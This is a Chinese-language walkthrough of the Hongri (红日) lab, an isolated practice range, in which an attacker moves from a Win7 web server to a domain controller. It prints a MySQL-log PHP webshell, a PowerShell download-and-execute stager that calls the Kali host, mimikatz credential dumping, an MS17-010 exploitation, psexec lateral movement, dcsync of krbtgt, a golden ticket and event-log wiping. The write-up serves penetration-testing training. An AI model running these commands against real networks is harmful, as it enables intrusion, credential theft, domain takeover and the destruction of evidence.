基本信息
测试环境
|
Plain Text 系统环境 渗透机:kali 靶 机:部署到虚拟机上的 Win7(边界主机)、Win2003(内网成员服务器)、Win2008(域控 god.org) 网络:外网为 NAT 网段,内网为仅主机网段 192.168.52.0/24 |
使用工具/软件:
|
Plain Text Nmap(端口与服务扫描、MS17-010 漏洞探测) Dirsearch(Web 目录扫描) 中国蚁剑(连接一句话木马,管理文件与虚拟终端) Cobalt Strike(Beacon 上线、内网信息收集、SOCKS 代理) Metasploit(MS17-010 检测与利用、psexec 横向) Proxychains(配合 SOCKS 代理验证内网可达性) Mimikatz(抓取明文密码与哈希、导出 krbtgt、伪造黄金票据;通过 CS 内置模块和 MSF kiwi 调用) |
测试目的
|
Plain Text 本次测试在 VMware 搭建的红日靶场一环境中进行,按“外网打点—内网横向—域渗透”三个阶段推进。第一阶段从 Win7 的 80 端口入手,目录扫描发现 phpMyAdmin,用 root/root 弱口令登录后台,借 MySQL 的 general_log 把一句话木马写进 Web 目录,再用蚁剑连接并上线 Cobalt Strike;第二阶段在 Win7 上收集内网信息、抓取凭据,借助代理隧道用永恒之蓝拿下 Win2003,再用抓到的域管凭据横向到 Win2008;第三阶段在域控上抓 krbtgt 哈希制作黄金票据,完成权限维持并清理日志。通过整套流程,练习 Web 入口利用、隧道搭建、MS17-010 利用、凭据传递和域内权限维持这些内网渗透的常见环节。 |
环境配置
1. 配置虚拟网络
(1)打开 VMware Workstation,菜单栏 编辑 → 虚拟网络编辑器,点右下角“更改设置”,UAC 弹窗点“是”。
(2)列表里找到 NAT 模式那一项(通常是 VMnet8),确认类型是“NAT 模式”,记下它的子网地址,Kali 和 Win7 的外网地址都在这个网段。
(3)点“添加网络”,选一个没被占用的编号(VMnet2,被占了就换 VMnet3,后面所有设置跟着改),网络模式选“仅主机模式”。
(4)取消勾选“使用本地 DHCP 服务将 IP 地址分配给虚拟机”,避免虚拟机拿到随机地址。
(5)子网 IP 填 192.168.52.0,子网掩码 255.255.255.0。
(6)点“应用”,再点“确定”。

这两个网段分别扮演“外网”和“内网”:NAT 网段让 Kali 能打到 Win7 的外网口,仅主机网段承载 192.168.52.0/24 的内网。Win7 同时踩在两个网段上,是唯一的边界主机。
2. 配置三台机器的网卡与 IP
Win7(双网卡,边界主机)
(1)关机状态下右键虚拟机 → 设置 → 网络适配器:第一张设为“NAT 模式”,第二张设为“自定义 → VMnet2”。
(2)开机登录,进入 控制面板 → 网络和共享中心 → 更改适配器设置。
(3)NAT 网卡 → 属性 → IPv4,选“自动获得 IP 地址”“自动获得 DNS 服务器地址”。
(4)VMnet2 网卡 → 属性 → IPv4,选“使用下面的 IP 地址”: IP 地址 192.168.52.143 子网掩码 255.255.255.0 默认网关、DNS 留空


Win2003(单网卡,内网成员服务器)
(1)设置 → 网络适配器 → 自定义 → VMnet2。
(2)开机登录,IPv4 手动配置: IP 地址 192.168.52.141 子网掩码 255.255.255.0 默认网关留空 首选 DNS 服务器 192.168.52.138

Win2008(单网卡,域控)
(1)设置 → 网络适配器 → 自定义 → VMnet2。
(2)开机登录,IPv4 手动配置: IP 地址 192.168.52.138 子网掩码 255.255.255.0 默认网关留空 首选 DNS 服务器 192.168.52.138

3. 关闭防火墙并启动服务
Win7 和 Win2008 以管理员身份打开 CMD,执行:
|
Plain Text netsh advfirewall set allprofiles state off |
命令拆解解释:
- netsh advfirewall:Vista / Server 2008 之后版本的防火墙配置命令
- set allprofiles state off:把域、专用、公用三种配置文件的防火墙一次性关掉
- 靶场里关防火墙是为了让端口扫描和横向移动不被拦;真实环境不能这么干,应该按端口放行


Win2003 是 Server 2003,先按旧版写法执行:
|
Plain Text netsh firewall set opmode disable |
命令拆解解释:
- netsh firewall:Server 2003 使用的防火墙配置命令
- set opmode disable:把防火墙切换到关闭状态

实际执行返回 The following command was not found: firewall set opmode disable。这不是拼写问题,而是这台 2003 镜像的 Windows Firewall/ICS 服务默认停用,netsh 没有注册 firewall 上下文,命令自然不存在。
用服务状态确认一下:
|
Plain Text sc query sharedaccess |
命令拆解解释:
- sharedaccess:Windows Firewall 与 Internet Connection Sharing 的服务名
- STATE 显示 STOPPED,或者提示服务不存在,说明防火墙没有运行,也就不存在过滤,不需要再处理

2003 的防火墙在这里已经确认是未运行状态,后面的端口扫描和横向移动不会被它拦。
4. 验证连通性
Kali 上执行:
|
Plain Text ip a |
命令拆解解释:
- ip a:列出本机所有网卡和地址
- 记下 NAT 网卡(一般是 eth0)的 IP,本次是 192.168.10.133。外网网段以实际 ipconfig 为准,不要照抄虚拟网络编辑器里的默认值。

Win7 上执行:
|
Plain Text ipconfig /all |
命令拆解解释:
- ipconfig /all:查看所有网卡的 IP、掩码、网关、DNS 和 MAC
- 重点确认两块网卡都有地址:NAT 网卡是 192.168.10.x,VMnet2 网卡是 192.168.52.143

互相ping:
|
Plain Text Kali ping Win7: ping 192.168.10.140 |

|
Plain Text Win7 ping Kali、2003和2008: ping 192.168.10.133 ping 192.168.52.141 ping 192.168.52.138 |

|
Plain Text Win2003 与 Win2008 互 ping 正常: ping 192.168.52.141 ping 192.168.52.138 |


5. 启动Win7的PhpStudy


第一关 外网打点
扫描 Win7 端口与服务
|
Plain Text nmap -sV -Pn 192.168.10.140 |
命令拆解解释:
- nmap:端口扫描与服务识别工具
- -sV:探测每个开放端口上运行的服务和版本
- -Pn:跳过主机存活探测直接扫端口,Windows 默认可能不回 ICMP,不加这个参数容易把开着的主机误判成 down
- 192.168.10.140:Win7 的外网地址

开放的端口里,80 是 Apache httpd 2.4.23(Win32 构建,PHP 5.4.45),3306 是 MySQL,135、139、445 以及 1025-1030 是 Windows 的 RPC、NetBIOS 和 SMB 服务。从 PHP 版本和端口组合看,这是 phpStudy 一类的集成环境,网站根目录大概率是 C:\\phpStudy\\WWW。
Web 目录扫描

80 端口返回的是 phpStudy 的默认站点,首页本身没什么功能,需要扫目录找后台和上传点。
|
Plain Text dirsearch -u http://192.168.10.140 -e php,html -t 50 |
命令拆解解释:
- dirsearch:基于字典的 Web 目录扫描工具
- -u:目标 URL,结尾不用带斜杠
- -e php,html:只保留 php 和 html 后缀的结果,减少干扰
- -t 50:50 个线程并发,速度更快

扫描结果里有三个 200:/phpinfo.php(71KB,环境探针页,能直接看到网站绝对路径)、/phpmyadmin/(数据库后台入口)、/shell.php(802 字节)。其余大量 403 是 Apache 对 .htaccess 一类文件的拒绝,不用管。
phpMyAdmin 弱口令登录
phpMyAdmin 是 MySQL 的 Web 管理端,这套环境里数据库账号直接用了 root/root 这种最弱的组合。
|
Plain Text http://192.168.10.140/phpmyadmin/ |

用户名 root、密码 root,登录后进入 phpMyAdmin 主界面,左侧能看到 information_schema、mysql 等系统库,说明拿到的是 root 权限的数据库会话。
利用 MySQL 日志写入 Webshell
phpMyAdmin 只提供数据库操作,要拿系统权限得先往 Web 目录写一个 PHP 文件。常见的两条路:INTO OUTFILE 和写日志。先确认能不能用第一条:
|
Plain Text show variables like '%secure_file_priv%'; |
命令拆解解释:
- secure_file_priv:控制 MySQL 能否用 INTO OUTFILE 导出文件
- 值为 NULL 表示禁止导出,只能改走日志写入这条路

查看当前日志配置:
|
Plain Text show variables like '%general%'; |
命令拆解解释:
- general_log:通用查询日志开关,开启后每条 SQL 语句都会被记录到日志文件
- general_log_file:日志文件的路径,把它指向 Web 目录下的 .php 文件,再执行一条带木马的查询,木马就会跟着日志落盘

依次执行三条 SQL:
|
Plain Text set global general_log = 'on'; |
|
Plain Text set global general_log_file = 'C:/phpStudy/WWW/cmd.php'; |
|
Plain Text select '<?php eval($_POST["cmd"]);?>'; |
命令拆解解释:
- set global general_log = 'on':打开通用查询日志
- set global general_log_file = …:把日志路径改到 Web 根目录,文件名用 .php,这样日志内容会被 Apache 当成 PHP 解析
- select '<?php …>':这条查询本身会被写进日志,日志里就带上了木马代码

浏览器访问http://192.168.10.140/cmd.php
页面会打印出MySQL 的日志内容:启动信息、我们执行过的几条查询,最后一行是 Notice: Undefined index: cmd in C:\\phpStudy\\WWW\\cmd.php on line 7。这条 Notice 本身就证明 PHP 代码已经被解析执行,只是没有传 cmd 参数。文件写入成功。

蚁剑连接 Webshell
打开中国蚁剑,右键空白处 → 添加数据,填写连接信息:
URL:http://192.168.10.140/cmd.php 密码:cmd 编码:默认

点“添加”,双击新建的条目,进入文件管理界面,能看到 C:\\phpStudy\\WWW 下的文件列表。

切到“虚拟终端”,确认当前权限:
|
Plain Text whoami |
命令拆解解释:
- whoami:查看当前 Shell 以哪个账号运行
- 返回值决定后面要不要先提权,如果是 administrator 或 system,可以直接上传木马

返回 god\\administrator,说明 phpStudy 服务是以域管理员账号启动的,Webshell 直接继承了这个身份。后面在 Win7 上抓凭据之所以能拿到域管明文,根源就在这里。
Cobalt Strike 上线
(1)启动服务端:
|
Plain Text sudo ./teamserver 192.168.10.133 123456 |
命令拆解解释:
- teamserver:CS 的服务端程序
- 192.168.10.133:服务端对外地址,填 Kali 的 IP
- 123456:客户端连接密码,自己定,后面客户端要用同一个

(2)另开一个终端启动客户端:
|
Plain Text sudo ./cobaltstrike-client.sh |
命令拆解解释:
- cobaltstrike-client.sh:客户端启动脚本,不同版本的 CS 打包方式不同,有的叫 cobaltstrike,有的叫 cobaltstrike-client.sh,以目录里实际存在的文件为准
- Host 填 127.0.0.1,Port 填 50050,User 保持默认,Password 填服务端设置的密码

(3)创建监听器:
Cobalt Strike → Listeners → Add
Name:http Payload:windows/beacon_http/reverse_http HTTP Hosts:192.168.10.133 HTTP Port:8080
点 Save,列表里出现一条记录,host 列是 192.168.10.133,port 是 8080。

(4)托管 payload
Attacks → Scripted Web Delivery
URI Path:/a
Local Host:192.168.10.133
Local Port:80
Listener:http
Type:powershell
不勾选 Use x64 payload
点 Launch,弹窗里会给出执行命令。

托管端口和监听端口是两个不同的东西:80 负责把 stager 送到目标手里,8080 负责接收 beacon 回连。之所以不用本地生成 exe,是因为客户端在 Linux 下的文件选择框弹不出来,用 Scripted Web Delivery 可以完全绕开文件落地这一环。
(5)在目标上执行
把弹窗里的命令复制到蚁剑虚拟终端执行:
|
Plain Text powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.10.133:80/a'))" |
命令拆解解释:
- powershell:调用 PowerShell
- -nop:不加载用户的 PowerShell 配置文件,减少干扰
- -w hidden:隐藏窗口,执行时目标桌面不会闪出黑框
- IEX:Invoke-Expression 的别名,把下载到的字符串当作代码执行
- downloadstring:用 .NET 的 WebClient 把 URI 内容一次性拉下来

Beacon 上线
CS 下方出现会话记录:external 192.168.10.140,internal 192.168.52.143,computer 列是 STU1,process 是 powershell.exe,arch 是 x86。
右键会话 → Interact,执行:
|
Plain Text sleep 5 |
命令拆解解释:
- sleep:设置 Beacon 的心跳间隔,单位秒
- 默认 60 秒,调试阶段改成 5 秒,命令回显会快很多

|
Plain Text shell whoami |
命令拆解解释:
- shell:通过 Beacon 执行系统命令
- whoami:确认当前权限,返回 god\\administrator,和蚁剑里看到的一致

第二关 内网横向
内网信息收集
Beacon 上线只说明 Win7 已经受控,内网里有什么、域控在哪、补丁打到什么程度,这些都要先查清楚,再决定下一步怎么打。
|
Plain Text shell ipconfig /all |
命令拆解解释:
- ipconfig /all:确认两块网卡的地址和 DNS 配置,判断这台机器与域的关系

结果里除了 192.168.10.140,还有一张 192.168.52.143 的网卡,说明这台机器同时踩在外网和内网里,是天然的跳板。
|
Plain Text shell net config workstation |
命令拆解解释:
- net config workstation:查看当前计算机的域或工作组信息
- 输出里的“工作站域”就是它所属的域

|
Plain Text shell net view /domain |
命令拆解解释:
- net view /domain:列出当前域里的计算机
- 能列出主机名,说明当前账号具备域内查询权限

|
Plain Text shell net group "domain controllers" /domain |
命令拆解解释:
- net group:查询域内的组
- "domain controllers":域控组,成员就是域控制器,双引号不能省
- 输出的主机名和 IP 就是第三关的目标
域查询命令因为 Win7 默认 DNS 指向 NAT 网卡,SRV 解析失败,net group、net user 都没有正常返回。这一步改用 nslookup 指定域控地址的方式确认:域控主机名 OWA,FQDN 为 owa.god.org,IP 192.168.52.138;成员机 192.168.52.141 由环境配置和 arp 结果确认。后续横向操作全部直接使用 IP,不再依赖域查询。
抓取凭据
Win7 上的 phpStudy 是以域管理员身份运行的,Beacon 也继承了这个身份,先用 mimikatz 把内存里的凭据读出来。
|
Plain Text mimikatz sekurlsa::logonpasswords |
命令拆解解释:
- mimikatz:调用 CS 内置的 mimikatz
- sekurlsa:模块名,负责从 lsass 内存里读取登录会话
- logonpasswords:该模块下的命令,作用是导出明文密码和哈希

输出按 msv、tspkg、wdigest、kerberos 四组分别列出了凭据,账号都是 GOD\\Administrator,明文密码 Admin123,NTLM 哈希 e45a314c664d40a227f9540121d1a29d。SID 是 S-1-5-21-2952760202-1353902439-2381784089-500,去掉末尾的 -500 就是域 SID,第三关做黄金票据时会用到。
内网端口探测
拿到凭据后,还需要确认内网目标开放哪些端口。用 Beacon 自带的扫描功能,从目标侧向内网探测:
|
Plain Text portscan 192.168.52.138,192.168.52.141 21,22,80,135,139,445,3389 |
命令拆解解释:
- portscan:CS 内置的端口扫描,由 Beacon 发起,流量从 Win7 出去,不经过 Kali,所以不需要隧道
- 目标部分写 IP,多个用逗号分隔
- 端口部分按内网横向常用端口挑选:21 是 FTP、22 是 SSH、80 是 Web、135 是 RPC、139/445 是 SMB、3389 是远程桌面

扫描结果显示 192.168.52.138 开放 80、135、139、445,SMB 指纹主机名 OWA、版本 6.1、域 GOD,是域控;192.168.52.141 开放 21、135、139、445,SMB 指纹主机名 ROOT-TVI862UBEH、版本 5.2,对应 Server 2003。两台都开放 445。
搭建 SOCKS 隧道
141 只能从 Win7 访问,Kali 直接打不到它,需要先把 Beacon 变成一个代理。在 Beacon 控制台执行:
|
Plain Text socks 1080 |
命令拆解解释:
- socks:在 Beacon 上启动 SOCKS 代理
- 1080:代理监听端口,实际绑定在 Kali 上,流量经 Win7 转发进内网
- 启动后所有走 127.0.0.1:1080 的请求都会从 Win7 出去

Kali 上确认端口已监听:
|
Plain Text ss -lntp | grep 1080 |

然后配置 proxychains,把 /etc/proxychains4.conf 末尾默认的 9050 代理替换成 1080:
|
Plain Text sudo sed -i 's/^socks4[[:space:]]*127.0.0.1[[:space:]]*9050/socks4 127.0.0.1 1080/' /etc/proxychains4.conf |
命令拆解解释:
- sed -i:直接修改文件内容,不生成新文件
- 正则匹配默认的 socks4 127.0.0.1 9050,替换成 socks4 127.0.0.1 1080
确认改好了:
|
Plain Text tail -5 /etc/proxychains4.conf |

改完测试隧道:
|
Plain Text proxychains4 nmap -sT -Pn -p 445 192.168.52.141 |
看到 445 是 open 就说明代理通了。

隧道验证通过:Strict chain 127.0.0.1:1080 → 192.168.52.141:445 OK,445 是 open。这说明 SOCKS 代理确实能把流量从 Win7 转进内网。
启动 MSF 检测 MS17-010
|
Plain Text msfconsole -q use auxiliary/scanner/smb/smb_ms17_010 setg Proxies socks4:127.0.0.1:1080 set RHOSTS 192.168.52.141 run |
命令拆解解释:
- smb_ms17_010:只做漏洞检测,不执行利用
- setg:全局设置,后面换 exploit 模块时不用重复配代理
- Proxies:MSF 的代理参数,格式为 socks4:IP:PORT
- RHOSTS:目标地址

检测结果很明确:Windows Server 2003 3790 x86 (32-bit),存在 MS17-010。32 位这个信息很关键,payload 必须用 x86 的。
永恒之蓝利用
Server 2003 对应的是 EternalRomance 这条链,MSF 里的模块是 ms17_010_psexec:
|
Plain Text use exploit/windows/smb/ms17_010_psexec |
命令拆解解释:
- 这个模块先利用 MS17-010 打通 SMB,再通过服务管理器执行 payload
- 和 ms17_010_eternalblue 的区别:后者只支持 Win7/2008 以上的 x64 系统,2003 必须用 psexec 这个

MSF 没指定 payload,就默认用了 reverse_tcp。这个 payload 在内网打不通:141 回连不到 Kali。因此要先改成 bind。
在当前 msf exploit(windows/smb/ms17_010_psexec) > 提示符下依次执行:
|
Plain Text set payload windows/meterpreter/bind_tcp set RHOSTS 192.168.52.141 set LPORT 4444 show options |
命令拆解解释:
- set payload:显式指定 bind_tcp,避免走默认的 reverse_tcp
- RHOSTS:目标地址
- LPORT:bind 模式下是目标要监听的端口
- show options:确认 Proxies 一栏仍是 socks4:127.0.0.1:1080

参数已齐全:RHOSTS、LPORT、payload 的 RHOST 都填好了,SHARE 默认 ADMIN$,可以直接跑:
|
Plain Text run |
Proxies 属于高级参数,show options 不会显示,要用 show advanced 才看得到;之前 setg 已回显 Proxies => socks4:127.0.0.1:1080,说明代理已生效,不用重复设置。

利用时先尝试 x64 的 stick 失败,换成 x86 后命中,印证了目标确实是 32 位。随后成功泄露事务、拿到 SYSTEM 会话,上传 payload(XVGQaUBv.exe)、创建服务并启动,执行完自动删除文件。bind handler 在 141:4444 上监听,stage 传送完成后返回 Meterpreter session 1。由于流量经过 SOCKS 代理,会话里显示的地址是 127.0.0.1:1080,不是目标真实地址。
接着确认权限:
|
Plain Text getuid |
命令拆解解释:
- getuid:查看当前会话身份
- 永恒之蓝利用成功一般是 NT AUTHORITY\\SYSTEM

|
Plain Text sysinfo |
命令拆解解释:
- sysinfo:确认主机名、系统版本和架构,和前面的 SMB 指纹对上

|
Plain Text ipconfig |
命令拆解解释:
- ipconfig:确认 141 的内网地址,顺便看它有没有其他网段

会话权限为 NT AUTHORITY\\SYSTEM,目标主机名 ROOT-TVI862UBEH,系统 Windows Server 2003 (5.2 Build 3790),架构 x86,所属域 GOD,IP 192.168.52.141。攻击机由此获得在内网的第二个立足点。
凭据横向到域控
Win2003 已经拿下,还剩 138。手里有 GOD\\Administrator / Admin123,这一台不需要再打漏洞,直接用凭据横向。
先退出 Meterpreter 上下文。在 meterpreter > 下敲 use 是用来加载扩展的,加载 MSF 模块必须先回到 msf 提示符:
|
Plain Text background |
命令拆解解释:
- background:把当前会话挂到后台,提示符从 meterpreter 回到 msf
- 会话不会断开,需要时用 sessions -i 1 切回
- 在 meterpreter 下直接敲 use 会报 Failed to load extension,这一步就是为了绕开它

|
Plain Text use exploit/windows/smb/psexec |
命令拆解解释:
- use:加载指定模块
- windows/smb/psexec:通过 SMB 把 payload 上传到目标的管理共享,再注册服务启动
- 这条路径依赖有效凭据,不依赖漏洞,和永恒之蓝是两种思路

接着依次执行:
|
Plain Text set RHOSTS 192.168.52.138 set SMBUser Administrator set SMBPass Admin123 set SMBDomain GOD set payload windows/x64/meterpreter/bind_tcp set LPORT 4445 run |
命令拆解解释:
- RHOSTS:目标地址,也就是域控。psexec 会去连它的 445 端口
- SMBUser / SMBPass:mimikatz 抓到的域管凭据
- SMBDomain:账号所属的域,写 GOD,和 whoami 回显里的 GOD\\ 前缀一致。三个参数要成套配,缺 SMBDomain 时 MSF 会按本地账号去认证,结果就是登录失败
- 138 是 Server 2008 R2,只有 64 位版本,payload 必须用 x64
- bind_tcp:由目标监听端口、MSF 主动去连。Kali 直接进不了内网,只能反过来连。这里的连接会走前面建立的 SOCKS 代理
- bind 模式下 LPORT 是“目标要监听的端口”
- 141 已经占了 4444,这里换成 4445 避免冲突
- run:执行模块
- 关注三行输出:Authenticating(认证成功)、Service start timed out(正常提示,payload 已执行)、Meterpreter session 2 opened(会话建立)

psexec 以 GOD\\Administrator 身份通过 445 认证成功,选择 PowerShell 方式启动服务,Service start timed out 属于正常提示,payload 已经执行。bind handler 建立后传送 stage(248902 字节),返回 Meterpreter session 2。因为流量经过 SOCKS,会话地址显示为 127.0.0.1:1080。
至此第二关完成:Win2003 通过永恒之蓝拿下,Win2008 通过域管凭据横向拿下,内网两台主机都在控制之下。
第三关 域渗透与权限维持
确认域控身份并抓取 krbtgt 哈希
Session 2 落在 138 上,先确认拿到的确实是域控,再从它身上取 krbtgt。
|
Plain Text getuid |
命令拆解解释:
- getuid:查看当前会话身份
- 域控上的 psexec 会话通常是 NT AUTHORITY\\SYSTEM

|
Plain Text sysinfo |
命令拆解解释:
- sysinfo:确认主机名、系统版本和架构
- 主机名应该是 OWA,版本是 Windows Server 2008 R2,架构 x64

接着加载 kiwi:
|
Plain Text load kiwi |
命令拆解解释:
- kiwi:MSF 对 mimikatz 的封装,加载之后才能调用 mimikatz 系列命令
- 加载成功会提示 Kiwi loaded

|
Plain Text kiwi_cmd lsadump::dcsync /domain:god.org /user:krbtgt |
命令拆解解释:
- lsadump::dcsync:模拟域控之间的复制请求,向 DC 索要指定账号的凭据
- /domain:god.org:目标域
- /user:krbtgt:要导出的账号
- 这条命令要求域管权限,当前是 SYSTEM,满足条件


dcsync 成功导出 krbtgt 凭据,NTLM 哈希为 58e91a5ac358d86513ab224312314061,Object Security ID 为 S-1-5-21-2952760202-1353902439-2381784089-502,去掉末尾的 RID 502 得到域 SID S-1-5-21-2952760202-1353902439-2381784089。输出中还带出了 AES256、AES128、DES、RC4 四组 Kerberos 密钥,做黄金票据用 RC4(NTLM)这一组即可。
伪造黄金票据
黄金票据的本质,是用 krbtgt 的哈希自己签一张 TGT。票据里的用户、组、权限都可以随便写,域控收到后用 krbtgt 哈希验签,验过就认。
|
Plain Text kiwi_cmd kerberos::golden /user:Administrator /domain:god.org /sid:S-1-5-21-2952760202-1353902439-2381784089 /krbtgt:58e91a5ac358d86513ab224312314061 /ptt |
命令拆解解释:
- kerberos::golden:构造黄金票据
- /user:票据里伪造的用户名,这里用 Administrator
- /domain:目标域名
- /sid:域 SID,注意是不带 RID 的那一段
- /krbtgt:krbtgt 的 NTLM 哈希
- /ptt:pass-the-ticket,生成后直接注入当前会话的登录凭据,不落地文件

验证票据是否注入成功:
|
Plain Text kiwi_cmd kerberos::list |
命令拆解解释:
- kerberos::list:列出当前登录会话里持有的 Kerberos 票据
- 能看到一条用户为 Administrator、域为 GOD.ORG 的票据,说明注入成功
用这张票据访问域控的管理共享:
|
Plain Text shell dir \\\\192.168.52.138\\c$ |
命令拆解解释:
- 带票据访问域控的 C$ 共享
- 能列出目录内容,说明伪造的 TGT 被域控认可,权限维持成立

kerberos::golden 构造成功,票据里的用户是 Administrator、域是 god.org、User Id 为 500,组列表里带上了 512(Domain Admins)、518(Schema Admins)、519(Enterprise Admins)、520(Group Policy Creator Owners),ServiceKey 显示用 krbtgt 的 rc4_hmac_nt 签名。最后提示 successfully submitted for current session,说明票据已经注入当前登录会话。
shell 后面带参数时,meterpreter 打开的是交互式 shell,并不会执行该命令。退到 C:\\Windows\\system32> 提示符后,直接输入:
|
Plain Text dir \\\\192.168.52.138\\c$ |

带票据访问 \\192.168.52.138\\c$,成功列出域控 C 盘目录,包括 inetpub、Program Files、Users、Windows 等,说明域控认可了这张伪造的 TGT,权限维持成立。
痕迹清理
拿到最高权限之后,收尾要把留下的东西处理掉。靶场里不做也不影响,但真实项目必须做。
先在 138 的 shell 里清日志:
|
Plain Text wevtutil cl security wevtutil cl system wevtutil cl application |
命令拆解解释:
- wevtutil:Windows 事件日志管理工具
- cl:clear,清空指定日志
- security / system / application:分别对应安全、系统、应用程序三条日志
- 横向移动、服务创建、票据使用都会在这三条日志里留下记录

138 的日志清理完后,退出 shell 并切到 141。141 是 Server 2003,没有 wevtutil(该命令从 Vista / Server 2008 才开始提供),改用 Meterpreter 自带的 clearev:
|
Plain Text exit clearev |
命令拆解解释:
- exit:退出 138 的 shell,回到 meterpreter
- clearev:清三条日志

141 清完了:Application 372 条、System 677 条、Security 581 条。
接下来清 Win7 上的落地文件。这里有一个顺序问题:cmd.php 是由 MySQL 的 general_log 写出来的,如果只删文件而不关闭日志,MySQL 会继续往那个路径写入,文件会立刻重新生成。
先登录 phpMyAdmin,关闭日志:
|
Plain Text set global general_log = 'off'; |
命令拆解解释:
- 关闭通用查询日志后,MySQL 不再往 cmd.php 里写内容
- 只有关闭日志后再删文件,文件才不会被重新创建

再回蚁剑,把 C:\\phpStudy\\WWW\\cmd.php 删掉。

顺手检查一下有没有其他残留,在 138 的 shell 里看临时目录:
|
Plain Text shell dir C:\\WINDOWS dir C:\\WINDOWS\\Temp |


检查临时目录,C:\\WINDOWS\\Temp 下只有镜像自带的 0 字节空文件,%TEMP% 为空,没有本次攻击产生的残留。永恒之蓝上传的 XVGQaUBv.exe 在利用结束时已由模块删除,141 无需额外处理。
测试结论
这次测试从外网 Web 入口一路打到了域控,三关的目标全部完成。第一关在 Win7 上用 phpMyAdmin 的 root/root 进后台,借 general_log 写马拿到 Webshell,再上线 Beacon;第二关在 Win7 上抓到域管凭据,搭 SOCKS 隧道用永恒之蓝拿下 2003,又用同一组凭据 psexec 拿下 2008;第三关在域控上 dcsync 出 krbtgt 哈希,伪造黄金票据访问管理共享,最后清理日志和落地文件。整条链没有用 0day,靠的是弱口令、配置不当和补丁缺失。
漏洞主要问题有三处:一是边界 Web 服务使用 root/root 弱口令,phpMyAdmin 直接暴露在 80 端口,攻击者不需要任何漏洞就能进数据库后台;二是 Web 服务以域管理员账号运行,Web 层一旦被突破,权限直接等同于域管,这是整条链上最快的一环;三是内网主机补丁缺失,192.168.52.141 存在 MS17-010,同时域内账号口令强度不足、存在复用,一台机器失陷后可以迅速横向到全域。
网硕互联帮助中心





评论前必须登录!
注册